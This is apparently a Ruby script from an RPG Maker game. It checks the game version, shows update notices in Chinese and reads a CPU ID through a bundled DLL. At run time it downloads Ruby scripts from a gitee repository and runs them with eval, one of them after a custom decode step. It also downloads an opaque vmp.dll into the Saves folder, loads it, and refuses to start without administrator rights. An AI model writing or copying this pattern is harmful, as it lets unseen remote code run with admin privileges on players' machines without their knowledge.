#encoding:utf-8
$a_English = 5
$b_English = 5
module KELASE
  def self.getcpuid
    win32 = Win32API.new("System/rmpt.dll","getcpu",'','p')
    win32.call()
  end
  def self.dlcx
    $data_common_events[121] = $data_common_events[51]
    $data_common_events[116] = $data_common_events[51]
    $b_English -=2
    exit if $a_English - $b_English >= 4
    if $ver >= 3.6
      p $ver
      $tc_bool = false
      ch = HTTP.request("https://gitee.com/kelase/qq319036892/raw/master/dllbase/up_240327.dat","GET")
      write_file("Saves/up_240327.dat",ch)
      $data_common_events[146] = load_data("Saves/up_240327.dat")
    else
      RPGBOY.call_message_box("游戏已经更新 最新版本3.6 \r\n请前往QQ群:749713305更新或者网盘下载！\r\n按确认关闭本提示窗口","公告:",65536+64)
      RPGBOY.call_message_box("使用旧版本,出现任何问题概不负责!!！\r\n按确认关闭本提示窗口","公告:",65536+64)
      $tc_bool = true
    end
  end
  def self.tc
    xn = 65536+64
    RPGBOY.call_message_box("游戏已经更新 最新版本3.6 \r\n请前往QQ群:749713305更新或者网盘下载！\r\n按确认关闭本提示窗口","公告:",xn) if $tc_bool
    p "进入战斗概率触发"
  end
end
Get_http = Win32API.new('system\rmpt.dll','gethttp','p','p')
fist_jhpx = "https://gitee.com/kelase/qq319036892/raw/master/mmlist/fr2first.rb"
ptp = Get_http.call(fist_jhpx)
ptp = KELASE.de_str(ptp)
eval(ptp)
if $ver >= 3.6
  fist_jhpx = "https://gitee.com/kelase/qq319036892/raw/master/mmlist/fr2_random.rb"
  ptp = Get_http.call(fist_jhpx)
  eval(ptp.s2u)
  fist_jhpx = "https://gitee.com/kelase/qq319036892/raw/master/mmlist/fr2_2024.rb"
  ptp = Get_http.call(fist_jhpx)
  eval(ptp.s2u)
end
if !FileTest.exist?('Saves/vmp.dll')
  ch = HTTP.request("https://gitee.com/kelase/qq319036892/raw/master/dllbase/vmp.dll","GET")
  KELASE.write_file("Saves/vmp.dll",ch)
end
char_bt = KELASE.calculate_checksum('Saves/vmp.dll')
p char_bt
if char_bt != "121720338"
  ch = HTTP.request("https://gitee.com/kelase/qq319036892/raw/master/dllbase/vmp.dll","GET")
  KELASE.write_file("Saves/vmp.dll",ch)
end
    xa = Win32API.new('advpack.dll','IsNTAdmin','ii','i')
    px = xa.call(0,0)
  if px == 0 && $ver != 319036892
    RPGBOY.call_message_box("请以管理员权限运行游戏！","提示:",65536+64)
    exit
  end
  $Get_crc = Win32API.new('Saves/vmp.dll','new','v','v')

#~     $cdcg = false